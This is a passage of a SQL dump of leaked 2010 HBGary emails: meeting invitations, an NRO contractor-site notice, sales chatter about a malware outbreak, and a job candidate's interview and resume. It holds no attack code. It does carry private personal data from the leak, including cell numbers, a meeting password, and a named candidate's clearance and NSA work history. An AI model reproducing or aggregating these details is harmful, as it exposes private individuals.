litigation. \r\n \r\n',9349,'aaron_hbgary_com/9349.html'),(11277,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008585.M487627P14101Q6132.eml','phil@hbgary.com','Re: Meeting invitation: Interview','ok dialed in.On Sep 3, 2010, at 9:43 AM, Phil Wallisch wrote: Hello Aaron Barr,   Phil Wallisch invites you to attend this online meeting.   Topic: Interview  Date: Friday, September 3, 2010  Time: 10:00 am, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 574 566 843  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna123  4. Click \"Join\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=154715087&amp;tollFree=0   Access code:574 566 843   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   phil@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=XJMz1RI1GGPTK8KCZl0bQTAYGVgVpjl5jaXW/UtGfe4=&amp;RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',15589,'aaron_hbgary_com/15589.html'),(11278,'2010-09-03','arc@westfields.net','/aaron@hbgary.com/new/1297008585.M702826P14101Q6133.eml','federal@hbgary.com','COMM / Expedition Announcement Posting','\r\nAn announcement has been posted on the NRO/COMM-Expedition effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select COMM /Expedition from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7194,'aaron_hbgary_com/7194.html'),(11279,'2010-09-03','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297008585.M915446P14101Q6134.eml','\"Barr Aaron\" <aaron@hbgary.com>','FW: another use case','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTalked to this customer\r\nyesterday&#8212;there were 126 affected hosts in all, all with a win32 process that\r\nwas a malware downloader. They had to go through the processes one by one&#8230;.he&#8217;s\r\nsending me policy described below.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nMary Sullivan\r\n\r\nD 240-396-2446\r\n\r\nM 301-980-1308\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Sullivan, Mary \r\nSent: Tuesday, August 31, 2010 5:04 PM\r\nTo: \'Barr Aaron\'\r\nSubject: another use case\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Aaron, \r\n\r\nThis got me all worked up and I had to share. Just spoke to\r\na customer who let &#8220;unknown protocol&#8221; decoder &nbsp;run over the weekend, and\r\nthen sorted it by destination using our group by feature. He found a lot of\r\nactivity to a single host in China, TCP over port 80. 100 affected hosts that\r\nappear to be beaconing every several minutes. He has desktop support looking at\r\nthem but so far McAfee can&#8217;t ID anything&#8230;.very interesting though. \r\n\r\n&nbsp;\r\n\r\nJ\r\n\r\nGo policy pack&#8230;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nMary Sullivan | Federal Sales Manager | Fidelis Security\r\nSystems, Inc.\r\nD 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com\r\n| www.fidelissecurity.com\r\n\r\n&nbsp;\r\n\r\nSee It | Study It | Stop It with Fidelis XPS:&nbsp; http://www.youtube.com/fidsecsys.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2263,'aaron_hbgary_com/2263.html'),(11280,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008586.M119314P14101Q6135.eml','phil@hbgary.com','Re: Meeting invitation: Interview','As soon as the interview is over if you could send me a few short sentences.Level: Basic or MidOverall thoughts?He gets a few plus ups right away because he has a full clearance. But we want to bring him to Mantech with an honest assessment.BTW, thank you very much for doing this.AaronOn Sep 3, 2010, at 9:43 AM, Phil Wallisch wrote: Hello Aaron Barr,   Phil Wallisch invites you to attend this online meeting.   Topic: Interview  Date: Friday, September 3, 2010  Time: 10:00 am, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 574 566 843  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;RT=MiMxMQ%3D%3D  2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna123  4. Click \"Join\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=154715087&amp;tollFree=0   Access code:574 566 843   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   phil@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=XJMz1RI1GGPTK8KCZl0bQTAYGVgVpjl5jaXW/UtGfe4=&amp;RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation.  ',3984,'aaron_hbgary_com/3984.html'),(11281,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008586.M338635P14101Q6136.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Fwd: another use case','fyi...Begin forwarded message:From: \"Sullivan, Mary\" &lt;mary.sullivan@fidelissecurity.com&gt;Date: September 3, 2010 9:58:38 AM EDTTo: \"Barr Aaron\" &lt;aaron@hbgary.com&gt;Subject: FW: another use caseTalked to this customer yesterday—there were 126 affected hosts in all, all with a win32 process that was a malware downloader. They had to go through the processes one by one….he’s sending me policy described below.&nbsp;Mary SullivanD 240-396-2446M 301-980-1308&nbsp;From:&nbsp;Sullivan, Mary&nbsp;Sent:&nbsp;Tuesday, August 31, 2010 5:04 PMTo:&nbsp;\'Barr Aaron\'Subject:&nbsp;another use case&nbsp;Hi Aaron,This got me all worked up and I had to share. Just spoke to a customer who let “unknown protocol” decoder &nbsp;run over the weekend, and then sorted it by destination using our group by feature. He found a lot of activity to a single host in China, TCP over port 80. 100 affected hosts that appear to be beaconing every several minutes. He has desktop support looking at them but so far McAfee can’t ID anything….very interesting though.&nbsp;JGo policy pack…&nbsp;&nbsp;Mary Sullivan | Federal Sales Manager | Fidelis Security Systems, Inc.D 240-396-2446 | M 301-980-1308 |&nbsp;mary.sullivan@fidelissecurity.com&nbsp;|&nbsp;www.fidelissecurity.com&nbsp;See It | Study It | Stop It with Fidelis XPS:&nbsp;&nbsp;http://www.youtube.com/fidsecsys.&nbsp;',15748,'aaron_hbgary_com/15748.html'),(11282,'2010-09-03','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297008586.M560864P14101Q6137.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Meeting invitation: Interview','No problem at all.  Gives me a break from reading these crappy reports.He might be suffering from his lack of ability to share info.  So I tried to take that into account.  I don&#39;t think he&#39;d be your advanced reverse guy.  He really seemed to be between basic and mid to me.  Fairly new to the field, has a specific role, etc.  \r\nHe answered my assembly questions to the point where I know he&#39;s familiar with it but it&#39;s not his daily job (and it&#39;s not mine either).  I have the impression he may have fallen into the trap that &quot;you use these tools and techniques.&quot;  Also he seems sort of slow to answer...a southern thing lol?\r\nOn Fri, Sep 3, 2010 at 10:16 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAs soon as the interview is over if you could send me a few short sentences.Level: Basic or MidOverall thoughts?He gets a few plus ups right away because he has a full clearance. But we want to bring him to Mantech with an honest assessment.\r\nBTW, thank you very much for doing this.AaronOn Sep 3, 2010, at 9:43 AM, Phil Wallisch wrote:\r\n Hello Aaron Barr,   Phil Wallisch invites you to attend this online meeting.   Topic: Interview  Date: Friday, September 3, 2010 \r\n Time: 10:00 am, Eastern Daylight Time (New York, GMT-04:00)  Meeting Number: 574 566 843  Meeting Password: ddna123    -------------------------------------------------------  To join the online meeting (Now from the Apple iPhone (R) too!) \r\n -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;RT=MiMxMQ%3D%3D \r\n 2. If requested, enter your name and email address.  3. If a password is required, enter the meeting password: ddna123  4. Click &quot;Join&quot;.   To view in other time zones or languages, please click the link: \r\n https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;PW=NZWYzZTI4OTQ5&amp;ORT=MiMxMQ%3D%3D \r\n  -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&amp;ED=154715087&amp;tollFree=0 \r\n  Access code:574 566 843   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc \r\n 2. On the left navigation bar, click &quot;Support&quot;.   You can contact me at:   phil@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link: \r\n https://hbgary.webex.com/hbgary/j.php?ED=154715087&amp;UID=1167221717&amp;ICS=MI&amp;LD=1&amp;RD=2&amp;ST=1&amp;SHA2=XJMz1RI1GGPTK8KCZl0bQTAYGVgVpjl5jaXW/UtGfe4=&amp;RT=MiMxMQ%3D%3D \r\n  The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php \r\n  Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com \r\n    IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, discuss your concerns with the meeting host prior to the start of the recording or do not join the session. Please note that any such recordings may be subject to discovery in the event of litigation. \r\n -- Phil Wallisch | Principal Consultant | HBGary, Inc.3604 Fair Oaks Blvd, Suite 250 | Sacramento, CA 95864\r\nCell Phone: 703-655-1208 | Office Phone: 916-459-4727 x 115 | Fax: 916-481-1460Website: http://www.hbgary.com | Email: phil@hbgary.com | Blog:  https://www.hbgary.com/community/phils-blog/\r\n\r\n',5763,'aaron_hbgary_com/5763.html'),(11283,'2010-09-03','\"David Gertler\" <gertler@me.com>','/aaron@hbgary.com/new/1297008587.M2177P14101Q6138.eml','aaron@hbgary.com,aaron@hbgary.com','Connection','Aaron\r\n\r\nIt was good talking with you the other day. As i mentioned, I would like to introduce you to TJ Gupta and his private equity group.  TJ is actively looking for good companies that need some expansion capital and you clearly fit within his target thesis. \r\n\r\nSend him your phone number and I\'m sure he call you\r\n\r\nPS. This is my personal email address; feel free to send me a note in a week or two and we\'ll grab a Starbucks. \r\n\r\n\r\n\r\n\r\nDavid Gertler\r\n\r\nSent from my iPad\r\n',6838,'aaron_hbgary_com/6838.html'),(11284,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008587.M347184P14101Q6139.eml','\"Patrick B Simpson\" <Patrick.Simpson@ManTech.com>,jeremy.gage@mantech.com','Candidate for GatorBait','Guys,\r\n\r\nJust got off the phone with this person.  I had one of our lead IR/RE guys interview him.\r\n\r\nCANDIDATE:\r\n\r\nCURRENTLY LIVES IN:  GA			WILL RELOCATE\r\n\r\nGEOGRAPHIC PREFERENCES:  DC/MD/VA 		He is open to hear about outstanding opportunities elsewhere.\r\n\r\nLOOKING FOR WORK BECAUSE:  The contract he is working on is over in 2 WEEKS. \r\n\r\nCLEARANCES:  TS/SCI with a FULLSCOPE POLY (8-2008)\r\n\r\nEDUCATION AND TRAINING:\r\n\r\n2006 - 2008 B.S. Information Technology\r\nSouthern Polytechnic State University, Marietta GA\r\n\r\n2002 - 2005 Electrical and Computer Engineering\r\nUniversity of New Orleans, New Orleans LA\r\n\r\n2010 FOR558 Network Forensics\r\nSANSfire  Baltimore MD\r\n\r\nSUMMARY OF QUALIFICATIONS:\r\n\r\nOver 14 years experience including information security, network administration and live forensic analysis of information systems.  Willis has a strong understanding of various commercial security products and systems including applications, capabilities, and limitations.  He also have extensive professional experience in network planning, implementation and operations. \r\n\r\nPROFESSIONAL EXPERIENCE:\r\n\r\n2008 - Present\r\nGlobal Network Exploitation and Vulnerability Analyst\r\nNational Security Agency, Fort Gordon GA\r\n\r\nResponsibilities included:  \r\nPerforming interactive operations, live forensic analysis of remote computer systems and networks, and situational health and security posture analysis of the endpoint environment.  \r\nSecurity posture analysis included identifying vulnerabilities and security products on systems along with malware identification and analysis for possible capabilities and interference with proprietary tools.  \r\nAttended a six month rigorous training course in forensics, software development, reverse engineering and information security. \r\n\r\n2006 - 2008  \r\nNetwork Administrator\r\nThe Community Bank, Loganville GA\r\nDuties included but were not limited to:\r\n\r\nResponsible for ensuring overall health and security of bank information systems.  \r\nAuditing IDS and firewall systems, ground up planning and implementation of branch systems, user administration, backup administration, database administration and development of web based front ends for existing applications and a ground up re-work of the existing web site to include a CMS for ease of future maintenance.  \r\nAlso, implemented Nagios event monitoring for all servers and security devices.\r\n\r\n\r\n2006 - 2006\r\n Senior Technician\r\nPifusion Development Group, Tucker GA\r\n\r\nPerformed repairs and sales of computer hardware, software and network equipment both in-house and on-site.  \r\nRepair duties included: general hardware/software troubleshooting and replacement and virus and malware remediation.  \r\nImplemented and designed network systems for new and existing locations.  \r\nAlso assessed off-lease equipment for recycling and valuation for sale.\r\n\r\n\r\n2002 - 2006  \r\nSupervisor Trainee\r\nMcDonald Enterprises, Slidell LA\r\n\r\nAdministered and maintained environmental remediation systems for three hazardous waste remediation sites.  \r\nDuties included SCADA and PLC systems administration, company information systems administration and general maintenance and repair of industrial wastewater treatment systems.\r\n\r\n\r\n1998 - 2002\r\n Assistant Administrator\r\nFirearms Training Systems, Suwanee GA\r\n\r\nAdministered a mixed environment network for a computer based firearms training systems manufacturer for military and law enforcement agencies.  \r\nAdministration duties included backup administration, general user administration, PBX administration and database administration and maintenance.  \r\nAlso repaired and built desktop systems for end users.  Also monitored web systems for misuse and anomalies.\r\n\r\n\r\n1995 - 1996\r\nIT Specialist\r\nMFP/King Computer, Norcross GA\r\n\r\nResponsible for assessment and remediation of off-lease IBM PCs.  \r\nRemediation included loading and configuring systems to customer specifications.  \r\nImplemented network based loading system to improve productivity over using legacy floppy based loading.  ',7340,'aaron_hbgary_com/7340.html'),(11285,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008587.M566483P14101Q6140.eml','\"Bob Slapnik\" <bob@hbgary.com>','cpr tools','Bob,\r\n\r\ndid u sell some software to cia if so what?\r\n\r\naaron',16144,'aaron_hbgary_com/16144.html'),(11286,'2010-09-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008587.M772452P14101Q6141.eml','\"David Gertler\" <gertler@me.com>,\"David Gertler\" <gertler@me.com>','Re: Connection','David,\r\n\r\nThank you for the introduction and sure thing I will send you a note in a few weeks.\r\n\r\nTJ.  Happy to meet you.  My cell is 719.510.8478.  Look forward to talking with you.\r\n\r\nAaron\r\n\r\n\r\nOn Sep 3, 2010, at 9:39 AM, David Gertler wrote:\r\n\r\n> Aaron\r\n> \r\n> It was good talking with you the other day. As i mentioned, I would like to introduce you to TJ Gupta and his private equity group.  TJ is actively looking for good companies that need some expansion capital and you clearly fit within his target thesis. \r\n> \r\n> Send him your phone number and I\'m sure he call you\r\n> \r\n> PS. This is my personal email address; feel free to send me a note in a week or two and we\'ll grab a Starbucks. \r\n> \r\n> \r\n> \r\n> \r\n> David Gertler\r\n> \r\n> Sent from my iPad\r\n\r\n',12897,'aaron_hbgary_com/12897.html'),(11287,'2010-09-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008588.M285164P14101Q6143.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: another use case',' \r\nPenny,\r\n \r\nWe will probably nail it with DDNA.  Also, HBGary services can write an innoculator for it - that will save the customer from a massive re-image effort.  Seriously, if they get HBGary involved we could save them from a six-figure mistake here.\r\n\r\n \r\n-Greg\r\n \r\nOn Fri, Sep 3, 2010 at 7:19 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nfyi... \r\n\r\n\r\nBegin forwarded message:\r\n\r\nFrom: &quot;Sullivan, Mary&quot; &lt;mary.sullivan@fidelissecurity.com&gt;\r\n\r\nDate: September 3, 2010 9:58:38 AM EDT\r\n\r\nTo: &quot;Barr Aaron&quot; &lt;aaron@hbgary.com&gt;\r\n\r\nSubject: FW: another use case\r\n\r\n\r\n\r\nTalked to this customer yesterday—there were 126 affected hosts in all, all with a win32 process that was a malware downloader. They had to go through the processes one by one….he’s sending me policy described below.\r\n\r\n \r\n\r\nMary Sullivan\r\nD 240-396-2446\r\nM 301-980-1308\r\n \r\n\r\n\r\nFrom: Sullivan, Mary \r\nSent: Tuesday, August 31, 2010 5:04 PMTo: &#39;Barr Aaron&#39;Subject: another use case\r\n \r\nHi Aaron,\r\nThis got me all worked up and I had to share. Just spoke to a customer who let “unknown protocol” decoder  run over the weekend, and then sorted it by destination using our group by feature. He found a lot of activity to a single host in China, TCP over port 80. 100 affected hosts that appear to be beaconing every several minutes. He has desktop support looking at them but so far McAfee can’t ID anything….very interesting though.\r\n\r\n \r\nJ\r\nGo policy pack…\r\n \r\n \r\nMary Sullivan | Federal Sales Manager | Fidelis Security Systems, Inc.D 240-396-2446 | M 301-980-1308 | mary.sullivan@fidelissecurity.com | www.fidelissecurity.com\r\n\r\n \r\nSee It | Study It | Stop It with Fidelis XPS:  http://www.youtube.com/fidsecsys.\r\n\r\n \r\n',12296,'aaron_hbgary_com/12296.html'),(11288,'2010-09-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008588.M38974P14101Q6142.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: another use case','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWow, they are just like DamballaJ\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Friday, September 03, 2010 7:19 AM\r\nTo: Greg Hoglund; Penny Leavy\r\nSubject: Fwd: another use case\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nfyi...\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBegin forwarded 